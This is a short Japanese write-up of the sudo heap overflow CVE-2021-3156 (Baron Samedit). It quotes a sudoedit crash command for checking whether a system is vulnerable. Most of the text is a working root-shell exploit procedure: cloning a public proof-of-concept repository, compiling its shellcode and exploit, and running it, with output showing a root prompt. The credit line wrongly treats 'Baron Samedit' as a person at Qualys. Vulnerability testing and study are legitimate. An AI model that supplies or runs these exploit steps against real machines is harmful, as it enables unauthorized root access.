
sudo 1.9.5p2 より前のバージョンにはオフバイワンエラーが存在し、ヒープベースのバッファオーバーフローを引き起こす可能性があります。これにより、sudoedit -s と単一のバックスラッシュ文字で終わるコマンドライン引数を介して、root への権限昇格が可能になります。
クレジット: Baron Samedit of Qualys によるアドバイザリ
The sudo project は、お使いの sudo のバージョンが脆弱かどうかをテストできるコマンドを公開しました:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
使用方法またはエラーメッセージが表示された場合、sudo は脆弱ではありません。セグメンテーションフォルトが発生した場合、sudo は脆弱です。
CVE-2021-3156 の Root シェル PoC(ブルートフォースなし) Ubuntu 20.04 (sudo 1.8.31) でテスト済み
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root